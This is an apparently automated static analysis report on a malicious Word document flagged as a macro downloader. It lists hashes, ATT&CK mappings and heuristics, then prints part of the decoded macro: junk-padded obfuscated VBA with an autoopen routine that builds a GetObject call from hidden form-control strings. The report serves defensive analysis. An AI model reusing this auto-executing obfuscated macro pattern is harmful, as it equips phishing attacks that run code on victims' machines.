Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 21e33c1058fc131d…

MALICIOUS

Office (OLE)

156.4 KB Created: 2019-03-29 15:56:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: a34b43b22bb64321183393882654b74c SHA-1: f511b4f994a0f4e04af4a3cc62f30370807e2972 SHA-256: 21e33c1058fc131d2c092953c06f8b6bb2f3ca6fa729af69de143046e44d23a4
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The file is identified as malicious by ClamAV and exhibits high-priority heuristics indicating the presence of an auto-executing VBA macro. The 'GetObject' call within the autoopen macro suggests an attempt to execute external code or load a malicious object. The VBA macro itself is heavily obfuscated, but its presence and the 'autoopen' marker strongly suggest it's designed to run automatically upon opening the document, likely to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6916067-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6916067-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24397 bytes
SHA-256: 01f121e96ad34d315d26670a5c3432591e555667b7670371bff4e94c68a4aa16
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "P1QXGGxA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NAw4AA"
Attribute VB_Base = "0{8301391A-B8DB-4546-AD7C-0B13282ABFC5}{4D517479-A442-468B-9FB7-14AB00190C0F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "wADABA_A"
Attribute VB_Base = "0{7CBBC3CF-2DCE-41ED-92CA-1E4BC3EFDC84}{4E2E26CE-EFE8-4450-85AD-FBF4795D6A2D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "IZcAQkD"
Function OAUx1Q()
   If RD_oUX_ = iGAwXUCU Then
zcCAwAk _
= SDDUAZQ - 938093812 - 688260807 + _
CVar(506523764 - Atn(zAACAxo / zAcAk_UA _
+ dACCGwcB / Tan(742487608))) * (662096478 + Hex(458799909 _
/ Cos(nDxA4Z)))
End If
   If rXQDAc = WA4oAAC4 Then
OQwAQDA _
= DGAZAQ - 200337872 - 922260209 + _
CVar(756778522 - Atn(zQABAZ / EQ1AGU_ _
+ jAAAAcA1 / Tan(778615058))) * (643476797 + Hex(963968031 _
/ Cos(qXQ_UZXG)))
End If
   If w_DDAAUA = tDAA_C Then
H4oADAcA _
= mXAZAUX - 595959373 - 240646843 + _
CVar(767376046 - Atn(jUAABAx_ / nA_DA1U _
+ zBBUDC / Tan(357509249))) * (570296243 + Hex(753418238 _
/ Cos(l_QAcADA)))
End If
End Function
Function lDZQ4c()
   If FkADAAQA = a4AXA_xG Then
rDACcx _
= zQ1U1_4 - 400258211 - 486262636 + _
CVar(38480216 - Atn(XC1A_4 / JUZAADA _
+ KDAAD_A / Tan(435225220))) * (799718978 + Hex(301436182 _
/ Cos(VccBD4o)))
End If
   If wQQCU1x4 = fXGkxo Then
LQooA_QU _
= icAZoAG - 553417532 - 860112448 + _
CVar(397536023 - Atn(sAwBDXA / KCDAQDAk _
+ P4AxXo / Tan(88607302))) * (322240230 + Hex(29029941 _
/ Cos(B_wAADA)))
End If
   If mBAGwBC = cXoAUAAo Then
IDoADwG1 _
= HGAcZA - 782211306 - 748052100 + _
CVar(869013204 - Atn(tUAAAkB / k4XGAA _
+ W_QAQCB / Tan(872816766))) * (365146674 + Hex(918181653 _
/ Cos(GZxU11c4)))
End If
End Function
Sub autoopen()
NQAAx1w
End Sub
Function NQAAx1w()
On Error Resume Next
   If C_cA_QDB = QABGQ_ Then
jDACBc _
= JAUAQC - 909817814 - 896538126 + _
CVar(946344251 - Atn(mAAxQwo / GGBx4k _
+ ZkAcxUD / Tan(28546175))) * (186191512 + Hex(917778171 _
/ Cos(SGUAxAZ)))
End If
   If VQcQZBxD = Fw_AAQ Then
DUQx4wAX _
= Yc_GAC - 977963228 - 136298335 + _
CVar(717948948 - Atn(OwAAAcAQ / n_1AAXUC _
+ QZQAwBAU / Tan(520877549))) * (447538295 + Hex(514117366 _
/ Cos(vAZACAAA)))
End If
Set lAXQB_DQ = GetObject(NAw4AA.nwDBwQxB.Text + wADABA_A.Wck1ADU + NAw4AA.nwDBwQxB.ControlSource)
   If XAAGcDA = VDBkQDA Then
MAc_AAAB _
= vUk1wB4A - 377196985 - 549466450 + _
CVar(65975360 - Atn(qAAAAAxD / XAoZcc _
+ H_kAA1QD / Tan(561516226))) * (176042661 + Hex(901084512 _
/ Cos(qCBAAAQA)))
End If
   If CxQQ4xo = ZoAAAA Then
UkZAx4_k _
= EABAAA - 281200765 - 333129493 + _
CVar(179868975 - Atn(iwAAw4D / w_xU14 _
+ BA1GCoQ / Tan(795214946))) * (511065493 + Hex(662530323 _
/ Cos(hAAAAAo4)))
End If
If 400234 = 400234 Then
   If u4AwQB_ = OXAAwc Then
wZGBQQ _
= WwAQUA - 881701534 - 302296165 + _
CVar(160088806 - Atn(tBADBAAX / fQA1BA4Z _
+ CUADDA / Tan(369090478))) * (670541304 + Hex(932535211 _
/ Cos(iAxcAxA)))
End If
   If UDAAcU = AxAADoUB Then
QCAoABAA _
= nDGo_B - 15386962 - 628506213 + _
CVar(729020034 - Atn(FAAkACA_ / i_1UA1 _
+ JoAA_wC / Tan(370526920))) * (936760914 + Hex(870624430 _
/ Cos(EBQcw1BQ)))
End If
lAXQB_DQ.ShOwWiNdOw = NAw4AA.FQUBCBA + NAw4AA.FQUBCBA + NAw4AA.FQUBCBA
   If kQGxAoA4 = k4kC14A4 Then
QGDCoAA _
= jwADUQ - 440534873 - 826502619 + _
CVar(327099503 - Atn(RDQAxQAA / oCBkBA _
+ HAUUAABD / Tan(535541084))) * (441793979 + Hex(419917695 _
/ Cos(rAQDCoBA)))
End If
   If FoDACAA = FADAwk4 Then
dAUAkBBD _
... (truncated)